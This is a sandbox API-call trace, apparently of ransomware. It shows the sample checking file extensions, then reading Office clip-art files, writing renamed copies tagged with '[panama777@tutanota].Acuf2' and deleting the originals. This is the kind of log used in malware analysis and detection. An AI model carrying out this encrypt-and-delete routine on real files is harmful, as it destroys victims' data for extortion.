	[0257.665] lstrlenW (lpString=".jpg") returned 4
	[0257.665] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0257.665] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00296_.WMF") returned 63
	[0257.665] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00296_.WMF") returned 63
	[0257.665] lstrlenW (lpString=".doc") returned 4
	[0257.665] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0257.665] lstrlenW (lpString=".docx") returned 5
	[0257.665] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0257.665] lstrlenW (lpString=".pdf") returned 4
	[0257.665] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0257.665] lstrlenW (lpString=".xls") returned 4
	[0257.665] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0257.665] lstrlenW (lpString=".xlsx") returned 5
	[0257.665] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0257.665] lstrlenW (lpString=".ppt") returned 4
	[0257.665] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0257.665] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00296_.WMF") returned 63
	[0257.665] lstrlenW (lpString=".zip") returned 4
	[0257.665] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0257.665] lstrlenW (lpString=".rar") returned 4
	[0257.665] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0257.665] lstrlenW (lpString=".bz2") returned 4
	[0257.665] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0257.666] lstrlenW (lpString=".7z") returned 3
	[0257.666] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0257.666] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00296_.WMF") returned 63
	[0257.666] lstrlenW (lpString=".dbf") returned 4
	[0257.666] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0257.666] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00296_.WMF") returned 63
	[0257.666] lstrlenW (lpString=".1cd") returned 4
	[0257.666] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0257.666] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00296_.WMF") returned 63
	[0257.666] lstrlenW (lpString=".jpg") returned 4
	[0257.666] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0257.666] lstrcmpiW (lpString1=".WMF", lpString2=".Acuf2") returned 1
	[0257.666] lstrlenW (lpString="BL00390_.WMF") returned 12
	[0257.666] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00390_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00390_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x220
	[0257.669] GetFileSizeEx (in: hFile=0x220, lpFileSize=0x2e8ff1c | out: lpFileSize=0x2e8ff1c*=13102) returned 1
	[0257.669] CloseHandle (hObject=0x220) returned 1
	[0257.669] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00390_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00390_.wmf")) returned 0x20
	[0257.669] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00390_.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00390_.wmf.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0257.669] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00390_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00390_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x220
	[0257.669] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec8 | out: lpNewFilePointer=0x0) returned 1
	[0257.669] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec8 | out: lpNewFilePointer=0x0) returned 1
	[0257.669] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00390_.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00390_.wmf.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218
	[0257.669] GetLastError () returned 0x0
	[0257.669] ReadFile (in: hFile=0x220, lpBuffer=0x3b10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesRead=0x2e8fed4*=0x332e, lpOverlapped=0x0) returned 1
	[0257.672] WriteFile (in: hFile=0x218, lpBuffer=0x3b10020*, nNumberOfBytesToWrite=0x3330, lpNumberOfBytesWritten=0x2e8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesWritten=0x2e8fc9c*=0x3330, lpOverlapped=0x0) returned 1
	[0257.673] ReadFile (in: hFile=0x220, lpBuffer=0x3b10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesRead=0x2e8fed4*=0x0, lpOverlapped=0x0) returned 1
	[0257.673] WriteFile (in: hFile=0x218, lpBuffer=0x3b10020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2e8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesWritten=0x2e8fc9c*=0xec, lpOverlapped=0x0) returned 1
	[0257.673] SetEndOfFile (hFile=0x218) returned 1
	[0257.673] CloseHandle (hObject=0x218) returned 1
	[0257.673] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec8 | out: lpNewFilePointer=0x0) returned 1
	[0257.673] SetEndOfFile (hFile=0x220) returned 1
	[0257.677] CloseHandle (hObject=0x220) returned 1
	[0257.677] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00390_.WMF.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0257.677] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00390_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00390_.wmf")) returned 1
	[0257.677] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00390_.WMF") returned 63
	[0257.677] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00390_.WMF") returned 63
	[0257.678] lstrlenW (lpString=".doc") returned 4
	[0257.678] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0257.678] lstrlenW (lpString=".docx") returned 5
	[0257.678] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0257.678] lstrlenW (lpString=".pdf") returned 4
	[0257.678] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0257.678] lstrlenW (lpString=".xls") returned 4
	[0257.678] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0257.678] lstrlenW (lpString=".xlsx") returned 5
	[0257.678] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0257.678] lstrlenW (lpString=".ppt") returned 4
	[0257.678] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0257.678] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00390_.WMF") returned 63
	[0257.678] lstrlenW (lpString=".zip") returned 4
	[0257.678] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0257.678] lstrlenW (lpString=".rar") returned 4
	[0257.678] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0257.678] lstrlenW (lpString=".bz2") returned 4
	[0257.678] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0257.678] lstrlenW (lpString=".7z") returned 3
	[0257.678] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0257.678] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00390_.WMF") returned 63
	[0257.678] lstrlenW (lpString=".dbf") returned 4
	[0257.678] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0257.678] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00390_.WMF") returned 63
	[0257.678] lstrlenW (lpString=".1cd") returned 4
	[0257.678] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0257.678] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00390_.WMF") returned 63
	[0257.678] lstrlenW (lpString=".jpg") returned 4
	[0257.678] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0257.679] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00390_.WMF") returned 63
	[0257.679] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00390_.WMF") returned 63
	[0257.679] lstrlenW (lpString=".doc") returned 4
	[0257.679] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0257.679] lstrlenW (lpString=".docx") returned 5
	[0257.679] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0257.679] lstrlenW (lpString=".pdf") returned 4
	[0257.679] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0257.679] lstrlenW (lpString=".xls") returned 4
	[0257.679] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0257.679] lstrlenW (lpString=".xlsx") returned 5
	[0257.679] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0257.679] lstrlenW (lpString=".ppt") returned 4
	[0257.679] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0257.679] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00390_.WMF") returned 63
	[0257.679] lstrlenW (lpString=".zip") returned 4
	[0257.679] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0257.679] lstrlenW (lpString=".rar") returned 4
	[0257.679] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0257.679] lstrlenW (lpString=".bz2") returned 4
	[0257.679] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0257.679] lstrlenW (lpString=".7z") returned 3
	[0257.679] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0257.679] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00390_.WMF") returned 63
	[0257.679] lstrlenW (lpString=".dbf") returned 4
	[0257.679] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0257.679] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00390_.WMF") returned 63
	[0257.679] lstrlenW (lpString=".1cd") returned 4
	[0257.679] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0257.679] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00390_.WMF") returned 63
	[0257.679] lstrlenW (lpString=".jpg") returned 4
	[0257.679] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0257.680] lstrcmpiW (lpString1=".WMF", lpString2=".Acuf2") returned 1
	[0257.680] lstrlenW (lpString="BL00392_.WMF") returned 12
	[0257.680] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00392_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00392_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x220
	[0257.680] GetFileSizeEx (in: hFile=0x220, lpFileSize=0x2e8ff1c | out: lpFileSize=0x2e8ff1c*=27050) returned 1
	[0257.680] CloseHandle (hObject=0x220) returned 1
	[0257.680] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00392_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00392_.wmf")) returned 0x20
	[0257.680] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00392_.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00392_.wmf.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0257.680] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00392_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00392_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x220
	[0257.680] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec8 | out: lpNewFilePointer=0x0) returned 1
	[0257.680] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec8 | out: lpNewFilePointer=0x0) returned 1
	[0257.680] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00392_.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00392_.wmf.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218
	[0257.681] GetLastError () returned 0x0
	[0257.681] ReadFile (in: hFile=0x220, lpBuffer=0x3b10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesRead=0x2e8fed4*=0x69aa, lpOverlapped=0x0) returned 1
	[0257.743] WriteFile (in: hFile=0x218, lpBuffer=0x3b10020*, nNumberOfBytesToWrite=0x69b0, lpNumberOfBytesWritten=0x2e8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesWritten=0x2e8fc9c*=0x69b0, lpOverlapped=0x0) returned 1
	[0258.044] ReadFile (in: hFile=0x220, lpBuffer=0x3b10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesRead=0x2e8fed4*=0x0, lpOverlapped=0x0) returned 1
	[0258.044] WriteFile (in: hFile=0x218, lpBuffer=0x3b10020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2e8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesWritten=0x2e8fc9c*=0xec, lpOverlapped=0x0) returned 1
	[0258.044] SetEndOfFile (hFile=0x218) returned 1
	[0258.167] CloseHandle (hObject=0x218) returned 1
	[0258.171] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec8 | out: lpNewFilePointer=0x0) returned 1
	[0258.177] SetEndOfFile (hFile=0x220) returned 1
	[0258.179] CloseHandle (hObject=0x220) returned 1
	[0258.180] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00392_.WMF.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0258.287] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00392_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00392_.wmf")) returned 1
	[0258.287] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00392_.WMF") returned 63
	[0258.287] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00392_.WMF") returned 63
	[0258.287] lstrlenW (lpString=".doc") returned 4
	[0258.287] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0258.287] lstrlenW (lpString=".docx") returned 5
	[0258.287] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0258.287] lstrlenW (lpString=".pdf") returned 4
	[0258.287] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0258.287] lstrlenW (lpString=".xls") returned 4
	[0258.287] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0258.287] lstrlenW (lpString=".xlsx") returned 5
	[0258.287] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0258.287] lstrlenW (lpString=".ppt") returned 4
	[0258.287] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0258.287] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00392_.WMF") returned 63
	[0258.287] lstrlenW (lpString=".zip") returned 4
	[0258.287] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0258.288] lstrlenW (lpString=".rar") returned 4
	[0258.288] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0258.288] lstrlenW (lpString=".bz2") returned 4
	[0258.288] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0258.288] lstrlenW (lpString=".7z") returned 3
	[0258.288] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0258.288] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00392_.WMF") returned 63
	[0258.288] lstrlenW (lpString=".dbf") returned 4
	[0258.288] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0258.288] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00392_.WMF") returned 63
	[0258.288] lstrlenW (lpString=".1cd") returned 4
	[0258.288] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0258.288] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00392_.WMF") returned 63
	[0258.288] lstrlenW (lpString=".jpg") returned 4
	[0258.288] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0258.288] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00392_.WMF") returned 63
	[0258.288] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00392_.WMF") returned 63
	[0258.288] lstrlenW (lpString=".doc") returned 4
	[0258.288] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0258.288] lstrlenW (lpString=".docx") returned 5
	[0258.288] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0258.288] lstrlenW (lpString=".pdf") returned 4
	[0258.288] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0258.288] lstrlenW (lpString=".xls") returned 4
	[0258.288] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0258.288] lstrlenW (lpString=".xlsx") returned 5
	[0258.288] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0258.288] lstrlenW (lpString=".ppt") returned 4
	[0258.288] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0258.288] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00392_.WMF") returned 63
	[0258.288] lstrlenW (lpString=".zip") returned 4
	[0258.289] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0258.289] lstrlenW (lpString=".rar") returned 4
	[0258.289] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0258.289] lstrlenW (lpString=".bz2") returned 4
	[0258.289] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0258.289] lstrlenW (lpString=".7z") returned 3
	[0258.289] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0258.289] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00392_.WMF") returned 63
	[0258.289] lstrlenW (lpString=".dbf") returned 4
	[0258.289] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0258.289] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00392_.WMF") returned 63
	[0258.289] lstrlenW (lpString=".1cd") returned 4
	[0258.289] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0258.289] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00392_.WMF") returned 63
	[0258.289] lstrlenW (lpString=".jpg") returned 4
	[0258.289] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0258.289] lstrcmpiW (lpString1=".WMF", lpString2=".Acuf2") returned 1
	[0258.289] lstrlenW (lpString="BS00076_.WMF") returned 12
	[0258.289] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00076_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00076_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218
	[0258.290] GetFileSizeEx (in: hFile=0x218, lpFileSize=0x2e8ff1c | out: lpFileSize=0x2e8ff1c*=1330) returned 1
	[0258.290] CloseHandle (hObject=0x218) returned 1
	[0258.290] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00076_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00076_.wmf")) returned 0x20
	[0258.290] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00076_.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00076_.wmf.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0258.290] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00076_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00076_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218
	[0258.290] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec8 | out: lpNewFilePointer=0x0) returned 1
	[0258.290] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec8 | out: lpNewFilePointer=0x0) returned 1
	[0258.290] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00076_.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00076_.wmf.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x29c
	[0258.291] GetLastError () returned 0x0
	[0258.291] ReadFile (in: hFile=0x218, lpBuffer=0x3b10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesRead=0x2e8fed4*=0x532, lpOverlapped=0x0) returned 1
	[0258.405] WriteFile (in: hFile=0x29c, lpBuffer=0x3b10020*, nNumberOfBytesToWrite=0x540, lpNumberOfBytesWritten=0x2e8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesWritten=0x2e8fc9c*=0x540, lpOverlapped=0x0) returned 1
	[0258.406] ReadFile (in: hFile=0x218, lpBuffer=0x3b10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesRead=0x2e8fed4*=0x0, lpOverlapped=0x0) returned 1
	[0258.406] WriteFile (in: hFile=0x29c, lpBuffer=0x3b10020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2e8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesWritten=0x2e8fc9c*=0xec, lpOverlapped=0x0) returned 1
	[0258.407] SetEndOfFile (hFile=0x29c) returned 1
	[0258.407] CloseHandle (hObject=0x29c) returned 1
	[0258.407] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec8 | out: lpNewFilePointer=0x0) returned 1
	[0258.407] SetEndOfFile (hFile=0x218) returned 1
	[0258.411] CloseHandle (hObject=0x218) returned 1
	[0258.411] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00076_.WMF.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0258.411] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00076_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00076_.wmf")) returned 1
	[0258.411] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00076_.WMF") returned 63
	[0258.411] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00076_.WMF") returned 63
	[0258.411] lstrlenW (lpString=".doc") returned 4
	[0258.411] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0258.411] lstrlenW (lpString=".docx") returned 5
	[0258.411] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0258.411] lstrlenW (lpString=".pdf") returned 4
	[0258.411] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0258.411] lstrlenW (lpString=".xls") returned 4
	[0258.411] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0258.411] lstrlenW (lpString=".xlsx") returned 5
	[0258.411] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0258.412] lstrlenW (lpString=".ppt") returned 4
	[0258.412] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0258.412] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00076_.WMF") returned 63
	[0258.412] lstrlenW (lpString=".zip") returned 4
	[0258.412] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0258.412] lstrlenW (lpString=".rar") returned 4
	[0258.412] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0258.412] lstrlenW (lpString=".bz2") returned 4
	[0258.412] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0258.412] lstrlenW (lpString=".7z") returned 3
	[0258.412] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0258.412] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00076_.WMF") returned 63
	[0258.412] lstrlenW (lpString=".dbf") returned 4
	[0258.412] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0258.412] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00076_.WMF") returned 63
	[0258.412] lstrlenW (lpString=".1cd") returned 4
	[0258.412] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0258.412] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00076_.WMF") returned 63
	[0258.412] lstrlenW (lpString=".jpg") returned 4
	[0258.412] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0258.412] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00076_.WMF") returned 63
